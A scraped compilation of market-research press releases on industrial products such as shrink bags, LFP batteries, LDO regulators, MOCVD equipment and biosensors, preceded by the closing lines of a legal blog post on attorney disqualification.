the trial court applied the incorrect standard under Rule 1.9(a) in disqualifying defendants counsel. In making its determination upon remand, the trial court must objectively assess the facts surrounding the motion to disqualify counsel without relying on the former clients subjective perception of his prior representation. The trial court should avoid the outmoded appearance of impropriety test. We reverse the trial courts decision and remand this case to that court for application of the correct legal test.

(Mike Frisch)

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High Abuse Shrink Bags Market: Quantitative Market Analysis, Current and Future Trends

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Shelf life acts as an essential factor among meat packaging manufacturers while choosing packaging bags and films. High-abuse shrink bags are one such solution to extend the shelf life of fresh meat products by offering advanced innovative and patented technology. High abuse shrink bags are designed for surface pasteurization of meat products inside of the packaging.Nowadays, meat packaging manufacturers are more focusing on the designs of packaging in order to sell their products differently as it is highly dependent on the purchasing decision for a positive impact. Further, this led to the specific requirement of packaging films for meat packaging applications.Obtain Report Details @Raw materials play a major role in packaging films in order to gain popularity among meat packaging manufacturers and retailers in the future. For instance, material like Ethylene Vinyl Alcohol (EVOH), which is highly used in high abuse shrink bags has properties such as high gas barrier, amazing strength and environmentally friendly as compared to other raw materials.High Abuse Shrink Bags Market: Drivers and RestraintsAccording to the U.S Food and drug administration, sales of fresh meat majorly accounts for about 65% of the overall food sales thus creating ample opportunities for high abuse shrink bags consumption, which in turn driving high abuse shrink bags market. Moreover, the food sector coupled with food service restaurants have shown a promising growth in the recent past years which is fueling the growth of meat packaging as well as the high abuse shrink bags market.Food packaging acts majorly driving the growth of the high abuse shrink bags market as flexible packaging accounts for nearly 50% of the total food packaging market. The rise in prices of meat products can be a major challenge to the global high abuse shrink bags market.High Abuse Shrink Bags Market: Region wise OutlookIn terms of geography, the global high abuse shrink bags market is divided into majorly five regions namely North America, Latin America, Europe, Asia Pacific and Middle East & Africa.Request Sample @Among these regions, North America and Europe are expected to collectively dominate the global high abuse shrink bags market throughout 2016 to 2024. North America, being the largest producer of meat packaging which is attributed to the huge usage of high abuse shrink bags in the developed countries of North America.However, the trend is gradually picking up the pace in developed markets for the global high abuse shrink bags market. Furthermore, Asia Pacific is expected to be primarily driven mainly by china, Japan and India in the global high abuse shrink bags market. Latin America and Middle East & Africa are expected to witness steady growth over the forecast period. In Latin America, Brazil, Argentina and Mexico are expected to create market opportunities for companies involved in the high abuse shrink bags market.High Abuse Shrink Bags Market: Key PlayersSome of the key players in the global high abuse shrink bags market includes Bemis Krehalon UK Ltd., Flexopack, Krehalon Industries B.V., EPACKAGING LLC., TDI PACKSYS LLC, Apex Packaging Corporation, Printpack, Fortune Plastics, Novolex, and Berry Plastics Group Incorporated, Fuji Seal International Incorporated, Inteplast Group Limited and many more.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. We have an experienced team of Analysts, Researchers, and Consultants, who us e proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.Each TMR Syndicated Research report covers a different sector  such as pharmaceuticals, chemical, energy, food & beverages, semiconductors, med-devices, consumer goods and technology. These reports provide in-depth analysis and deep segmentation to possible micro levels. With wider scope and stratified research methodology, our syndicated reports thrive to provide clients to serve their overall research requirement.ContactTransparency Market Research90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Flexible Substrates Market Poised to Expand at a Robust Pace Over 2024

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Flexible substrates are an underlying layer or substance. It is used in flexible electronics, which is a technology of assembling electronic circuits, where electronic devices are mounted on these flexible substrates.Globally, a key factor that is driving the expansion of The Flexible Substrates Market is the surging demand for printed electronic technologies. These printed electronic technologies are used to build electrical devices on numerous substrates. Additionally, the rising demand for Organic Light Emitting Diodes is fuelling the growth of the global flexible substrates market. The OLEDs are made up of carbon-based organic materials which emits light when electricity is applied. The main functions of OLEDs are to make efficient and beautiful displays, and to create white light panels for lighting. Further, the increasing demand for the flexible medical devices and the growing adoption of organic electronics indicate potential growth for the global flexible substrates market during the forecasted period.Benefits such as improved performance, lower price, and reliability is expected to boost the market for flexible substrates. Moreover, flexible electronic devices, which uses flexible substrates as an intermediate material, such as solar cells, sensor, lighting, and display logic/memory are unbreakable and lighter as compared to glass and silicon based electronic devices. These above mentioned advantages increases demand for electronic devices which in turn fuels the growth of the global flexible substrates market.Request to view ToC of Report -Also, the continuous development across the display industry in terms of products and technology is expected to give a boost to the demand for 3D-flexible substrates. The improvement of electronic devices offering flexible form aiding versatile, lightweight and robust application usage without significant tradeoff of the performance of the device is expected to upsurge the demand of flexible substrates.Despite of the numerous advantages of flexible substrates, there are certain factors that restrains the growth of this market. The major among them is the stringent regulations which tends to hold back growth of the market for flexible substrates.The global flexible substrates market is segmented on the basis of types, materials used, applications, and geography.By types the global flexible substrates market is sub-segmented as ultra-light and ultra-thin. By materials used the market for flexible substrates is categorized as stainless steel, plastic, and glass. On the basis of applications the global flexible substrates market is sub-divided as power, utility, energy, defense & aerospace sector, consumer electronics, medical & healthcare, and automotive. Finally, on the basis of geography the global flexible substrates market is characterized as North America, Asia-Pacific (APAC), Europe, Middle East & Africa (MEA), and Latin America.Request to view Brochure of Report -By regions, North America is expected to dominate the market for flexible substrates during the forecasted period. This is because of the advanced electronic technologies in this part of the world. The U.S controls a prominent market share for flexible substrates, followed by Canada in North America. In Europe, Italy, Spain, France, U.K, and Germany holds significant share of the flexible substrates market. The market for flexible substrates in Asia is expected to witness growth during the forecasted period. This is primarily because of the construction of manufacturing facilities by a large number of companies in this region. Lesser wages for skilled labor in emerging economies such as China and India is major factor attracting the attention of these companies. Within Asia, India, China and Japan are expected to be the fastest growing markets for flexible substrates.The key players in the global flexible substrates market includes Griff Paper and Film (U.S), Polyonics, Inc. (U.S), Porex Corporation (U.S), Rogers Corporation (U.S), Corning, Inc. (U.S), AzCoat, Inc. (U.S), BenQ Materials Corporation (Taiwan), Arlon Graphics LLC (U.S), 3M Company (U.S), American Semiconductor, Inc. (U.S), SCHOTT North America, Inc.(U.S), Heraeus Materials Technology GmbH & Co. KG (Germany), and E.I. DuPont de Nemours and Company (U.S).About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.US Office Contact90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Lithium Iron Phosphate Battery Market to receive overwhelming hike in Revenues by 2024

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The lithium iron phosphate battery (LFP) battery refers to rechargeable lithium-ion battery which uses LiFePO as a cathode material. The energy density in LiFePO batteries are lower as compared to that of have common LiCoO design available in consumer electronic. However, better power density and longer lifetimes and safety are some of the benefits associated with these batteries.. Lithium Iron Phosphate, also known as LFP has various features such as long cycle life, high safety and high temperature resistance. Lithium iron phosphate batteries find application in power tools, electric vehicles, energy storage devices and electric bicycles among others. But as of now, the main use of Lithium Iron Phosphate battery is its use power batteries for electric vehicles.The Lithium Iron Phosphate Battery Market is expected to grow as a result of various factors such as the ever increasing population due to which there has been a significant depletion of fossil fuel reserves. This has led to a shift in the focus on the part of various countries towards have renewable power generation. Therefore, as a result of increasing focus towards renewable energy to address the serious concern of climate change and also improving upon the energy conservation is expected to contribute to the growth of the Lithium Iron Phosphate battery market during the forecast period. Moreover, there has also been a growing focus towards the integration of renewable energy resources with power grid networks which in turn is fuelling the growth of the market. These hybrid power systems and power grids use lithium iron phosphate batteries as a backup.Request to view ToC of Report -As per trends it has been observed that the various manufacturers of Lithium Iron Phosphate batteries are continuously engaged in research and development activities. The market requires extensive investments and return on investment is a time taking process. This has resulted in the manufacturers to be heavily dependent on government funding in order to expand their their facilities. Moreover, as a result of favorable government policies in countries such as Japan, South Korea and China among others is helping the market to flourish. The government in these countries are in support of green and eco-friendly technologies, which is bound to result in many manufacturers to enter the market and develop their own manufacturing units. Currently, the Lithium Iron Phosphate battery market is highly competitive and product quality, brand recognition, durability, reliability, pricing and energy density are of prime importance for the manufacturers in order to stay afloat in the competition. Furthermore, manufacturers offering better quality products at a competitive price are expected to prefer.The lithium iron phosphate battery (LFP) battery on the basis of application can be segmented into; EVs and HEVs (electric vehicles and hybrid electric vehicle), Renewable power and Consumer electronics. The EVs and HEVs is expected to dominate the market in terms of revenue. Unconventional energy storage systems that have the capability to enhance the performance and vehicle efficiency are an important area of focus for the EV manufacturers. As a result of long cycle time and high energy density, lithium iron phosphate batteries are expected to be the most preferred choice as far as alternative energy storage systems are concerned. Therefore, the growth in the demand for EVs in countries such as China is expected to fuel the demand for lithium iron phosphate battery (LFP) batteries.Request to view Brochure of Report -Geographically, the lithium iron phosphate battery (LFP) battery market can be segmented into five regions, namely, North America, Europe, Asia Pacific, Middle East and Africa and Latin America.Some of the key players operating in the lithium iron phosphate battery (LFP) battery market are BYD, A123, Electrical Vehicle Power System Technology, OptimumNano Energy, K2Energy, Pihsiang Energy Technology and Victory Battery Technology among others.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.US Office Contact90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Low-Dropout Regulator Market Set to Surge Significantly During 2024

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An LDO or low-dropout regulator is a DC (Direct Current) voltage regulator that has the ability to regulate the output voltage when the difference between input voltage and output voltage is low. Typically an LDO offers a "dropout" (difference between input and output voltage) of less than 0.3V whereas a standard linear voltage regulator offers a dropout voltage of 1 Volt or more. An LDO finds its use in different industries based on certain characteristics such as the LDOs drop-out voltage, line regulation, speed (how fast it can respond as the load varies), load regulation, quiescent current, and maximum current (which is decided by the size of the pass transistor), among others. Generating 3.3 V from 3.6 V (Li-Ion battery) needs a much lower difference between input and output voltage (less than 300 mV). Applications such as these, require the use of a low-dropout regulator to achieve the lower dropout voltage required. However, under steady state operating conditions (equilibrium condition of a circuit or a network), an LDO behaves like a simple resistor.The rise in demand of LDOs is due to its increased use in consumer electronics, and circuitry such as microprocessors and microcontrollers, among others. Additionally, increased consumer affinity towards portable and wireless application at a global level, is also fueling the growth of the LDO industry. However, rising cost of raw materials needed, and high expenses on efficiency maintenance, are the major restraint that could hinder the growth of the industry.The demand for low-dropout voltage regulators in the global market is expected to increase at a steady pace owing to the growing demand of the product in various industries such as telecommunication, aircraft, and cellular phones. Asia Pacific is likely to show the highest growth in the LDO market during the forecast period from 2016 to 2024.Request to view ToC of Report -The low-dropout regulator market can be segmented based on application and geography. Based on application, the low-dropout regulator market is classified into LDOs for digital loads, LDOs for analog loads, and LDOs for RF (Radio Frequency) loads. Digital LDOs are designed to save energy with low Iq (quiescent current). LDOs leads to increased battery life as portable systems have long periods of low-power operation when the software is idling. When the systems are inactive LDOs are shut down and consume less than 1 A. LDOs for DSPs (Digital Signal Processing) and microcontrollers have to work with good efficiency and handle high and rapidly varying currents. Noise reduction and supply-noise rejection are two of the most sought after characteristics of components used in wireless systems. It can be achieved by care and ingenuity in the LDOs internal design. Their low dropout voltage and low quiescent current make them a good fit for portable and wireless applications.On the basis of geography, the low-dropout regulator market can be segmented into North America, Europe, Asia Pacific, and Rest of the World. The rising demand in consumer electronics, wireless devices, and portable battery powered appliances market would probably lead to the increase in demand of low-dropout regulators market. Asia Pacific is expected to be the fastest growing market for low-dropout regulators. The technological advancement in countries such as China, South Korea, and Taiwan coupled with cheap labor and favorable economic conditions, is likely to add to the factors responsible for growth in the Asia Pacific region.Request to view Brochure of Report -There are many players in the low-dropout regulator industry. Key companies include Maxim (U.S), Linear ((U.S), Rohm (Japan), Texas Instruments (U.S), STMicroelectronics (France), and Ams AG (Austria). Other players operating in the market are Analog Devices (U.S), Fairchild (U.S), Toshiba (Japan), Microchip Technology (U.S), ON Semiconductor (U.S), among others.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.US Office Contact90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Cross-laminated Timber Market Augmented Expansion to be Registered by 2017-2025

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Cross laminated timber is also known as CLT, Cross-Lam, X-Lam, BSP, or KLH. It is a solid, plane product made from timber, which is used for load-bearing purposes. It functions as a panel or plate element in construction. CLT comprise nearly three layers of sawn timber that are glued parallel to one another. Presently, CLT is manufactured primarily from softwood. However, individual layers can be replaced with other timber-derived products such as plaster materials or laminated veneer.CLT is an engineered wood building system, designed to complement light- and heavy-timber framing options. CLT possess high strength and dimensional stability, which enables it to be used as an alternative to concrete, masonry, and steel in several building types. Depending upon requirement, the CLT can be made available in different lengths and widths. The size of CLT board depends upon its mode or place of usage during construction. CLT is commonly sourced from softwood such as spruce and white fir. Use of CLT in construction offers many advantages as compared to conventional construction materials. It is environmentally-friendly, lighter than bricks or concrete, and possesses good insulating properties. Set-up time for CLT is shorter than other construction materials and is easy to assemble.Request For Report Sample@Cross laminated timber offers structural simplicity needed for cost-effective buildings, as well as benefits such as fast installation, reduced waste, improved thermal performance, and design versatility. It can be utilized in a wide range of applications, including mid-rise, urban infill, industrial, educational, and civic structures. CLT panels are employed in formation of floor and wall panels. These panels are available with varying thickness with respect to application requirements such as fire performance, span, or loading conditions. Sometimes, panels with high quality surface finishing are employed in areas that are exposed, whereas panels with lower quality are used in areas that can be hidden. Layers in a CLT panel are made of kiln-dried lumber boards that are stacked together in alternating directions. These boards are attached to each other with structural adhesives and pressured to form a solid, rectangular panel. CLT panels consist of odd number of layers (primarily three to seven,) and are sanded or prefinished before shipping. Finished CLT panels are stiff, strong, and stable, and able to handle load transfer on all sides.CLT is not used everywhere across all regions. It has been utilized in Europe for the last 20 years. Hardwood CLT panels were employed to build the worlds first timber mega-tube structure, at the Chelsea College of Arts in London in September 2016. The utilization of CLT has been increasing in North America, while it is slowly gaining popularity in Asia Pacific. In Australia, a nine-story all-timber office building is due to be completed in Brisbane in late 2018. There are various specifications and standards according to which CLT needs to be complacent. In Europe, dried timber with a wood humidity of 12% (+/- 2%) is employed for producing KLH timber boards, which is in accordance with the European Technical Assessment. In North America, APA established ANSI/APA PRG 320 standard, which is recognized in both the U.S. and Canada. This standard recognizes CLT as code-compliant construction material.Request For Report Table of Content (TOC):Key players operating in the cross-laminated timber market include D.R. Johnson, HESS TIMBER GmbH & Co. KG, Binderholz GmbH, Stora Enso, Structurlam Products LP, KLH Massivholz GmbH, and B&K Structures.About USTransparency Market Research (TMR) is a next-generation provider of syndicated research, customized research, and consulting services. TMRs global and regional market intelligence coverage includes industries such as pharmaceutical, chemicals and materials, technology and media, food and beverages, and consumer goods, among others. Each TMR research report provides clients with a 360-degree view of the market with statistical forecasts, competitive landscape, detailed segmentation, key trends, and strategic recommendations.Contact USState Tower,90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030Website:Email: sales@transparencymarketresearch.com
Metal-Organic Chemical Vapour Deposition Equipment Market Set to Surge Significantly During 2024

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Metal Organic Chemical Vapour Decomposition (MOCVD) equipment is used in the manufacturing process of complex multilayer semiconductor structure that are used across various optoelectronic or electronic equipment. MOCVD is a device used by different semiconductor manufacturers for depositing thin layer of semiconductor compound material on semiconductor wafers. MOCVD equipment is primarily used in various manufacturing process of type III to V compound semiconductor especially that uses gallium nitride (GaN). These semiconductors are used extensively as the basic material in the manufacturing process of LEDs, power transistors, lasers, electronic devices and photovoltaic cells among others. Application of advanced MOCVD equipment in the manufacturing process of a semiconductor device not only increases the performance but also delivers higher switching speed and efficiency. Thus, the global metal organic chemical vapour decomposition (MOCVD) equipment market is anticipated to experience an exponential growth rate during the forecast period from 2016 to 2024.In order to provide in-depth analysis, the global metal organic chemical vapour decomposition (MOCVD) equipment market can be segmented on the basis of application and geography. By application, the market can be classified into semiconductor and electronics and research and development facilities. The semiconductor and electronics segment can be further bifurcated into barrier layers, integrated circuit (IC) applications, solar panels, display panels and sensors among others. In addition, current market synopsis as well as future trend of all the above mentioned segment is also provided in this report across various regions such as North America, Europe, Asia Pacific, Middle-East and Africa and Latin America.Request to view ToC of Report -Increasing demand for power semiconductor is the primary factor anticipated to boost the demand of MOCVD equipment during the forecast period from 2016 to 2024. In the coming years, gallium nitride (GaN) is anticipated to replace silicon technology across various power semiconductor applications owing to its wider band gap, larger critical electric field, higher thermal conductivity and high breakdown voltage. This in turn is predicted to trigger the demand of GaN power semiconductor, thereby creating a better opportunity for MOCVD equipment in the coming years. In addition, the evolution of MOCVD equipment has led to increased application of MOCVD in nanotechnology. This development has been possible due to technological advancement in terms of reliability, scalability, and performance. With technological advancement, usage of MOCVD equipment as fabrication and manipulation tools in nanotechnology is one of the major driving factors anticipated to accelerate the demand of MOCVD equipment in the coming years.However, fluctuating nature of the semiconductor industry is the most important factor predicted to deter the market growth of MOCVD equipment during the forecast period. In many cases, production of semiconductor exceeds the demand and thus results in large unsold stock. This in turn is anticipated to affect the demand of MOCVD equipment negatively. Moreover, the cyclic demand of MOCVD equipment results in fluctuating revenue inflow of the MOCVD manufacturers. This is also predicted to limit many manufacturers to enter in this market.Based on application, the global MOCVD equipment market is majorly driven by the semiconductor and electronics segment in the coming years. This segment is also anticipated to experience the fastest growing market during the forecast period. Application of MOCVD equipment for semiconductor and electronic goods processing is unanimously high in demand due to the increasing use of advanced technology in the production of electronic gadgets such as smartphones, DVD players, video games, PDAs, portable media players, home-theater systems, printers and microwaves among others.Request to view Brochure of Report -Geographically, Asia Pacific region held the largest market share of MOCVD equipment market across various region in 2015 and is predicted to hold its leading position in the coming years also. High concentration of original design manufacturers (ODMs) and original equipment manufacturers (OEMs) is the key factor behind this regions dominance. Moreover, increasing demand of power electronic devices across various utility application in Asia Pacific region is another important factor responsible for the growth of MOCVD equipment market in this region. On the other hand, owing to mature market due to high market penetration in U.S and Canada, North America is predicted to experience a sluggish growth rate during the forecast period.The global market of MOCVD equipment is consolidated in nature with the presence of few market players. Some of the leading players operating in the MOCVD market includes Aixtron (Germany), Taiyo Nippon Sanso Corp. (Japan), Veeco Instruments (U.S) and Agnitron Technology Inc. (U.S) among others.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.US Office Contact90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Optical Patterned Wafer Inspection Equipment Market Estimated to Flourish by 2024

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During the process of manufacturing, optical patterned wafer inspection equipments are used for the detection of defects in patterned wafer. As a result of increasing application of semiconductor wafer in various industrial segments such as automotive and consumer electronics among others, the demand for optical patterned wafer inspection equipments is growing. The optical patterned wafer inspection equipments comprises of two technologies, namely; bright-field inspection and dark-field inspection.The Market For Optical Patterned Wafer Inspection Equipments is expected to be driven as a result of technological advancements concerning the consumer electronics segment. The emergence of various technologies such as 3D T.Vs. Smart T.Vs and Ultra HD T.Vs is driving the growth of the optical patterned wafer inspection equipments market. The demand for these T.Vs are on the rise and a growing demand for them is bound to impact the demand for optical patterned wafer inspection equipments positively. These factors will result in an increased semiconductor capital equipment spending and ultimately the demand for optical patterned wafer inspection equipments will be influenced. Moreover, the surge of the semiconductor industry has resulted in various semiconductor manufacturers to increase their expenditure and production capacity on fab equipment.There has an increase in the complexities related to the semiconductor manufacturing as a result of new design processes and rules. This has led to the increase in the density of defects of semiconductor wafers which can result in severe damage of the wafers. Optical patterned wafer inspection equipments can help the semiconductor manufacturers to launch new products more effectively and quickly as they would help prevent defects in the product. Therefore, it has become a vital issue on the part of the wafer manufacturers to implement corrective measures in order to reduce the impurities that can hamper the performance of the devices and ultimately lead to the rejection of the entire wafer. The demand for a shorter semiconductor product development cycle is another important factor driving the growth of the optical patterned wafer inspection equipments market.Request to view ToC of Report -As per recent trends it has been observed that the optical patterned wafer inspection equipments market is witnessing intense competition as more and more number of manufacturers are entering the market as a result of the enormous potential the market offers. This intense competition has resulted in the various vendors operating in the semiconductor industry to improve the performance of the semiconductor devices in order to stay ahead in the competition.Geographically, the optical patterned wafer inspection equipments market can be segmented into five regions, namely, North America, Europe, Asia Pacific, Middle East and Africa and Latin America. Among all the regions, Asia Pacific is expected to be the largest market for the optical patterned wafer inspection equipments market. Asia Pacific is considered to be the hub of the semiconductor manufacturing capacity and has the largest concentration in the world. The dominance of the Asia Pacific region is primarily due to presence of a large number of semiconductor manufacturers. Moreover, the region has one of the most advanced electronics manufacturing industries. Countries such as Japan, South Korea, Taiwan and China have a strong and developed Electronics Manufacturing industry which in turn is driving the growth of the optical patterned wafer inspection equipments market in the region. Furthermore, some of the largest semiconductor foundries such as United Microelectronics, Taiwan Semiconductor Manufacturing and Semiconductor Manufacturing International among others are also present in the region. The market in the U.S. is expected to be another important market for the optical patterned wafer inspection equipments during the forecast period.Request to view Brochure of Report -Some of the key players operating in the optical patterned wafer inspection equipments market are KLA-Tencor, Applied Materials, Hitachi High-Technologies, ASML Holding, Tokyo Seimitsu, Toray Engineering and JEOL, Ltd among others.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.US Office Contact90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Reinforced Isolated Amplifier Market to Reflect Impressive Growth Rate During 2024

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Electrical designs with high voltage flow or current flow requires the need for reducing potential risks to the users. The steps of protection include isolation, grounding and insulation of potentially fatal voltages. Isolation Amplifier is a type of differential amplifier which helps in the measurement of small signals that are present in a high common mode voltage. It is done by providing electrical safety barrier and electrical isolation. The Reinforced Isolated Amplifiers are primarily used for protecting data acquisition components. The market is expected to grow during the forecast period due to ongoing demand for cloud based computing.The reinforced isolated amplifier has several advantages which are expected to drive the market during the forecast period. These amplifiers have longer durability compared to the traditional amplifier and are highly energy efficient in nature. Furthermore, the amplifiers have higher reliability. The amplifiers have the lowest offset error and lowest offset drift along with best linearity. This enables the engineers to design most accurate systems using the isolated amplifiers over widest temperature range without the compensation of temperature drift errors. In addition, the reinforces isolated amplifiers are primarily used for data protection against electrical shocks. The rising concept of cloud computing is driving the market for Hadoop and Big Data. Furthermore, the increasing risk of data theft also creating the need for cloud storage of data.Request to view ToC of Report -However, it is essential that the stored data is readily available. Reinforced isolated amplifier ensures the protection of data from getting lost or erased by protecting the equipments from sudden electrical surges. Moreover, the market also finds its application in the telecommunications industries. The growing demand for high speed data and voice clarity has resulted into the development of high speed spectrums for telecommunication sector. Moreover, the sector witnesses constant data exchange and needs to keep the data backed up safely. In addition, the rising trend for smart devices is also aiding to the growth of telecommunication sector. Furthermore, the concept of smart devices has lead to the development of connected devices which provide real time data to the users. These factors are aiding to the growth of smart devices which is indirectly pushing the demand in telecommunications sector. The reinforced isolated amplifiers are used in this industry to provide isolated power and protect the power supplies from irregular supply voltages caused due to short-circuit conditions.However, the installation of reinforced isolated amplifiers involves high initial investment and is not feasible for small and medium business units. In future, the reinforced isolated amplified are expected to be used in several areas such as medical and others.The reinforced isolated amplifiers market can be segmented by application and geography. In terms of application, the amplifiers are primarily used in telecommunications and industrial sectors. Regionally, the market can be divided into North America, Europe, Asia Pacific, Middle East & Africa and Latin America. North America and Europe are expected to witness high demand for reinforces isolated amplifiers as the regions are witness frequent urbanization in the form of intelligent buildings and smart transportation among others. However, Asia Pacific and Middle East & Africa are expected to witness robust growth in future due to the presence of developing nations such as India and China.Request to view Brochure of Report -The reinforced isolated amplifiers market is witnessing strong competition from the major players. Frequent mergers and acquisition among the top players is aiding to the growth of the market globally. The leading players in the market include Texas Instruments, Mouser Electronics, Maxim Integrated, Broadcom Ltd., Dewetron GmbH, Datexel, Camille Bauer Metrawatt AG, Analog Devices, SPS Electronics and Toshiba Corporation among others. These players hold the major market share and are expected to dominate the market during the forecast period.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.US Office Contact90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Rotary Angle Sensors Market to Reflect Impressive Growth Rate During 2024

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Rotary angle sensors change physical phenomenon into a quantity measurable by data acquisition system, hence it is an key part of any measurement and automation application. The rotation that is to be measured is connected to the motion of a slider that causes changes in the resistance that the sensor circuit converts in output voltage. Moreover, the rotary angle sensors are much more durable since they have high rotational life characteristics. The Market For Rotary Angle Sensors is expected to contribute the highest growth rate during the period of forecast. These sensors measure the rotational or angular movement of an object. Rotary angle sensors measure the rotational or angular movement of an object. Rotary angle sensors is expected to lead the global position sensors market with the fuelling factors such as expanded use of position sensors in a vehicle, increasing trend of industrial automation and many more.The rotary angle sensors are primarily driven by the increasing industrial automation. The industrial automation is implemented in different industries like automotive, aerospace, electronics, healthcare and packaging which are fuelling the demand of rotary angle sensors market. Increasing use of rotary angle sensors in automobiles sectors is also fuelling the demand of rotary angle sensors market globally. The sensor is used in providing electrical outputs relative to shaft rotation so as to measure the angles precisely. In automotive industries these sensor are used in gear position, steering wheel position, throttle position and pedal position. Another major driver of this market is the adoption of rotary angle sensor in aerospace industries. In aerospace industries these sensors are used for automation in the aerospace industries.Request to view ToC of Report -One of the restraining factors in the rotary angle sensors market is the lack of product differentiation. As a number of key players offer similar technological products, there are numerous options for the buyers to buy from. Thus creating pricing pressure that helps to compete with large manufacturers for high volume of these products.Industrial robotic applications are expected to be one of the major opportunities in the rotary angle sensors market. Automations in different sector will create demand for robotics which in terms will create demand for rotary angle sensors. Moreover, electronics sector is also one of the important sectors where opportunities are expected during the forecast period.On the basis of type the rotary angle sensors is bifurcated into rotary encoder, rotary potentiometer, rotary variable differential transformer, and resolver. Further the rotary encoder is bifurcated into optical rotary encoder, magnetic rotary encoder, mechanical rotary encoder and capacitive rotary encoder. Moreover, the market is bifurcated on the basis of application into test equipment, motion systems, material handling, machine tools and robotics among others. The development in these applications is attributing to the high growth rate of the rotary angle sensor market. Based on geography, the market is bifurcated into North America, Europe, Asia Pacific, Middle East and Africa and Latin America. Europe accounted for the largest size of the European rotary angle sensor market, in terms of revenue, comparing to other regions. This is due to the fast adoption of rotary in different applications like material handling, robotics, machine tools, and others in major countries of this Europe. Another important factor driving the European market is due to the presence of numerous automotive companies like BMW Group (Germany), Volkswagen AG (Germany) and Daimler AG (Germany).Request to view Brochure of Report -Some of the important players in the Rotary angle sensors market includes Honeywell International Inc. (U.S.), AMS AG (Germany), Renishaw Plc. (U.K.), MTS System Corporation (U.S.), Balluff GmbH (Germany), Keyence Corporation (Japan), Dr. Johannes Heidenhain GmbH (Germany), TE Connectivity Ltd. (Switzerland), Novotechnik U.S. Inc. (Germany), Allegro MicroSystems, LLC (U.S.), Hans Turck GmbH CO and. KG (Germany), among others.About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.US Office Contact90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA  Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Global Biosensors Market share to see 8% growth from 2016 to 2024

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The commercialization scale of Biosensors Market has been commendable since the development of the first oxygen biosensor by Lel and Clark back in 1962. The remarkable penetration of this industry has been witnessed profoundly in the medical space. With the advent of tissue engineering, nanotechnology, and regenerative medicine, the application portfolio of the biosensors industry has expanded by multiple folds in the medical sector. In 2015, the medical applications contributed to approximately 66% of the overall biosensors market, holding a valuation of USD 9.8 billion. The growth is driven by the wide spectrum of biosensor applications in this sector comprising cholesterol monitoring, blood gas analyzer, blood glucose monitoring, drug discovery, and pregnancy testing. Among these, blood glucose monitoring held the largest share of the medical application landscape, driven by the increasing diabetic patient base globally. As per International Diabetes Federation statistics, the diabetic population is estimated to reach 552 million in 2030 which is a rather drastic increase from 366 million in 2011. As per the estimates, blood glucose monitoring segment of the medical biosensors industry is projected to surpass USD 15 billion by 2024.Request for a sample of this research report -Order This Report by calling Global Market Insights, Inc. at 1-888-689-0688 (Toll Free) or 1-302-846-7766.The differentiating factor of Biosensors market report by Global Market Insights, Inc. when compared with other, similar syndicated research studies includes a 360-degree synopsis of trends for a period of more than 10 years including historic information as well as future outlook. Business focussed multiple trends for Biosensors industry are discussed along with regional trends to offer an overall view of the market. The industry insights chapter of this research provides the most comprehensive analysis of Biosensors market covering segmentation, size, forecasts, ecosystem analysis and more. Industry 